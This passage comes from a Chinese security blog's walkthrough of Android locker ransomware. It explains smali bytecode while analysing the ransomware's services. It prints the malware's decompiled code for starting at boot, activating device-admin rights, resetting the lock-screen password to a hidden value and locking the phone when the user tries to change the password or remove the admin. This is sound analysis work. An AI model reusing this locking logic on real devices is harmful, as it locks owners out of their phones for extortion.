move-result-object v15 000002DA move-object v8, v15 000002DC move-object v15, v6 000002DE invoke-static DU->getbah(String)String, v15 000002E4 move-result-object v15 000002E6 move-object v9, v15 000002E8 move-object v15, v1 000002EA iget-object v15, v15, s->wb:TextView 000002EE move-object/from16 v16, v1 000002F2 move-object/from16 v0, v16 000002F6 iget-object v0, v0, s->des:DU 000002FA move-object/from16 v16, v0 000002FE move-object/from16 v17, v7 00000302 invoke-virtual/range DU->decrypt(String)String, v16 .. v17 00000308 move-result-object v16 0000030A invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v4))) 00000310 move-object v15, v1 00000312 iget-object v15, v15, s->bah:TextView 00000316 move-object/from16 v16, v1 0000031A move-object/from16 v0, v16 0000031E iget-object v0, v0, s->des:DU 00000322 move-object/from16 v16, v0 00000326 move-object/from16 v17, v8 0000032A invoke-virtual/range DU->decrypt(String)String, v16 .. v17 00000330 move-result-object v16 00000332 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v5))) 00000338 move-object v15, v1 0000033A invoke-virtual s->getResources()Resources, v15 00000340 move-result-object v15 00000342 const/high16 v16, 0x7F060000 00000346 invoke-virtual/range Resources->openRawResource(I)InputStream, v15 .. v16 0000034C move-result-object v15 0000034E move-object v10, v15 00000350 move-object v15, v10 00000352 invoke-static BAH->getString(InputStream)String, v15 # string = BAH.getString(s.getResources().openRawResource(0x7F060000)) 00000358 move-result-object v15 0000035A move-object v11, v15 0000035C move-object v15, v11 0000035E const-string v16, "\n" 00000362 const-string v17, "" 00000366 invoke-virtual/range String->replaceAll(String, String)String, v15 .. v17 # string.replaceAll("\n", "") 0000036C move-result-object v15 0000036E move-object v12, v15 00000370 move-object v15, v12 00000372 invoke-static DU->getsss(String)String, v15 00000378 move-result-object v15 0000037A move-object v13, v15 0000037C move-object v15, v1 0000037E iget-object v15, v15, s->cjk:TextView 00000382 move-object/from16 v16, v13 00000386 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.cjk.append(DU.getsss(string)) 0000038C move-object v15, v1 0000038E iget-object v15, v15, s->tv:TextView 00000392 move-object/from16 v16, v1 00000396 move-object/from16 v0, v16 0000039A iget-object v0, v0, s->des:DU 0000039E move-object/from16 v16, v0 000003A2 move-object/from16 v17, v9 000003A6 invoke-virtual/range DU->decrypt(String)String, v16 .. v17 000003AC move-result-object v16 000003AE invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 :3B4 000003B4 return-void :3B6 000003B6 move-exception v15 000003B8 move-object v4, v15 000003BA goto :3B4 .catch Exception {:1F8 .. :3B4} :3B6 .end method
s服务小结:主要提供解锁服务和一些布局界面的设置。
2) 开机完成的广播接收器 bbb。
很明显,由下面的分析可以知道这是一个开机启动s服务的广播。
.method public onReceive(Context, Intent)V .registers 18 .annotation system Signature value = { "(", "Landroid/content/Context;", "Landroid/content/Intent;", ")V" } .end annotation .annotation runtime Override .end annotation 00000000 move-object v0, p0 00000002 move-object/from16 v1, p1 00000006 move-object/from16 v2, p2 # mIntent 0000000A move-object v7, v2 0000000C invoke-virtual Intent->getAction()String, v7 00000012 move-result-object v7 00000014 const-string v8, "android.intent.action.BOOT_COMPLETED" 00000018 invoke-virtual String->equals(Object)Z, v7, v8 # mIntent.getAction.equals("android.intent.action.BOOT_COMPLETED") 0000001E move-result v7 00000020 if-eqz v7, :66 :24 00000024 move-object v7, v0 00000026 invoke-virtual bbb->abortBroadcast()V, v7 # this.abortBroadcast() 0000002C new-instance v7, Intent 00000030 move-object v14, v7 00000032 move-object v7, v14 00000034 move-object v8, v14 00000036 move-object v9, v1 :38 00000038 const-string v10, "com.cjk.s" 0000003C invoke-static Class->forName(String)Class, v10 # class.forName("com.cjk.s") :42 00000042 move-result-object v10 00000044 invoke-direct Intent->(Context, Class)V, v8, v9, v10 # intent2 = new Intent(context, class.forName("com.cjk.s")) 0000004A move-object v4, v7 0000004C move-object v7, v4 0000004E const/high16 v8, 0x10000000 00000052 invoke-virtual Intent->addFlags(I)Intent, v7, v8 # intent2.addFlags(0x10000000) 00000058 move-result-object v7 0000005A move-object v7, v1 0000005C move-object v8, v4 0000005E invoke-virtual Context->startService(Intent)ComponentName, v7, v8 # startService(intent2) 00000064 move-result-object v7 :66 00000066 return-void
3)设备管理员激活时的广播接收器。
一旦用户点击确认激活设备管理器,首先执行onEnabled方法,重置锁屏密码,然后触发密码更改后调用的方法onPasswordChanged,进行了锁屏行为,并且在用户想要解除该设备管理员身份的时候也会进行锁屏行为。
.method public onEnabled(Context, Intent)V .registers 22 .annotation system Signature value = { "(", "Landroid/content/Context;", "Landroid/content/Intent;", ")V" } .end annotation .annotation runtime Override .end annotation 00000000 move-object/from16 v0, p0 00000004 move-object/from16 v1, p1 00000008 move-object/from16 v2, p2 0000000C move-object v11, v1 0000000E invoke-virtual Context->getResources()Resources, v11 00000014 move-result-object v11 00000016 const v12, 0x7F060002 0000001C invoke-virtual Resources->openRawResource(I)InputStream, v11, v12 00000022 move-result-object v11 00000024 move-object v4, v11 00000026 move-object v11, v4 00000028 invoke-static BAH->getString(InputStream)String, v11 # BAH.getString(context.getResources().openRawResource(0x7f060002)) 0000002E move-result-object v11 00000030 move-object v5, v11 00000032 move-object v11, v5 00000034 const-string v12, "\n" 00000038 const-string v13, "" 0000003C invoke-virtual String->replaceAll(String, String)String, v11, v12, v13 00000042 move-result-object v11 00000044 move-object v6, v11 00000046 move-object v11, v6 00000048 invoke-static DU->getsss(String)String, v11 # passwd = DU.getsss(BAH.getString(context.getResources().openRawResource(0x7f060002)).replace("\n", "")) 0000004E move-result-object v11 00000050 move-object v7, v11 00000052 new-instance v11, Intent 00000056 move-object/from16 v18, v11 0000005A move-object/from16 v11, v18 0000005E move-object/from16 v12, v18 00000062 move-object v13, v1 :64 00000064 const-string v14, "com.cjk.s" 00000068 invoke-static Class->forName(String)Class, v14 :6E 0000006E move-result-object v14 00000070 invoke-direct Intent->(Context, Class)V, v12, v13, v14 # intent = new Intent(Class.forName("com.cjk.s")) 00000076 move-object v8, v11 00000078 move-object v11, v8 0000007A const/high16 v12, 0x10000000 0000007E invoke-virtual Intent->setFlags(I)Intent, v11, v12 00000084 move-result-object v11 00000086 move-object v11, v1 00000088 move-object v12, v8 0000008A invoke-virtual Context->startService(Intent)ComponentName, v11, v12 # startService(intent) 00000090 move-result-object v11 00000092 move-object v11, v0 00000094 move-object v12, v1 00000096 invoke-virtual MyAdmin->getManager(Context)DevicePolicyManager, v11, v12 # this.getManager(context) 0000009C move-result-object v11 0000009E move-object v12, v7 000000A0 const/4 v13, 0 000000A2 invoke-virtual DevicePolicyManager->resetPassword(String, I)Z, v11, v12, v13 # this.getManager(context).resetPassword(passwd, 0) 000000A8 move-result v11 000000AA move-object v11, v0 000000AC move-object v12, v1 000000AE move-object v13, v2 000000B0 invoke-super DeviceAdminReceiver->onEnabled(Context, Intent)V, v11, v12, v13 000000B6 return-void
代码大致相同,不再赘述。
@Override public void onPasswordChanged(Context arg13, Intent arg14) { String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", "")); this.getManager(arg13).lockNow(); this.getManager(arg13).resetPassword(v7, 0); super.onPasswordChanged(arg13, arg14); } @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) { String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", "")); this.getManager(arg13).lockNow(); this.getManager(arg13).resetPassword(v7, 0); return super.onDisableRequested(arg13, arg14); }
4) 启动Activity主要在oncreate方法中,调用了开启激活设备管理员的界面。
.method private activiteDevice()V .registers 15 .annotation system Signature value = { "()V" } .end annotation 00000000 move-object v0, p0 00000002 new-instance v6, Intent 00000006 move-object v13, v6 00000008 move-object v6, v13 0000000A move-object v7, v13 0000000C const-string v8, "android.app.action.ADD_DEVICE_ADMIN" 00000010 invoke-direct Intent->(String)V, v7, v8 # intent = new Intent("android.app.action.ADD_DEVICE_ADMIN") 00000016 move-object v2, v6 00000018 new-instance v6, ComponentName 0000001C move-object v13, v6 0000001E move-object v6, v13 00000020 move-object v7, v13 00000022 move-object v8, v0 :24 00000024 const-string v9, "com.cjk.MyAdmin" 00000028 invoke-static Class->forName(String)Class, v9 # Class.forName("com.cjk.MyAdmin") :2E 0000002E move-result-object v9 00000030 invoke-direct ComponentName->(Context, Class)V, v7, v8, v9 # mConponent = new ComponentName(this, Class.forName("com.cjk.MyAdmin")) 00000036 move-object v3, v6 00000038 move-object v6, v2 0000003A const-string v7, "android.app.extra.DEVICE_ADMIN" 0000003E move-object v8, v3 00000040 invoke-virtual Intent->putExtra(String, Parcelable)Intent, v6, v7, v8 # intent.putExtra("android.app.extra.DEVICE_ADMIN", mConponent) 00000046 move-result-object v6 00000048 move-object v6, v0 0000004A move-object v7, v2 0000004C const/4 v8, 0 0000004E invoke-virtual M->startActivityForResult(Intent, I)V, v6, v7, v8 # startActivityForResult(intent, 0)
总结
至此,基本全部分析完毕,主要在这个分析的过程中来了解smali语法,当编译成java的语法出错时可以看汇编代码,当然也可以尝试进行一些软件破解行为。
参考
google官方smali语法 https://source.android.com/devices/tech/dalvik/dalvik-bytecode
Dalvik opcodes http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
深入理解Dalvik字节码指令及Smali文件 https://blog.csdn.net/dd864140130/article/details/52076515
*本文作者:xiongchaochao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。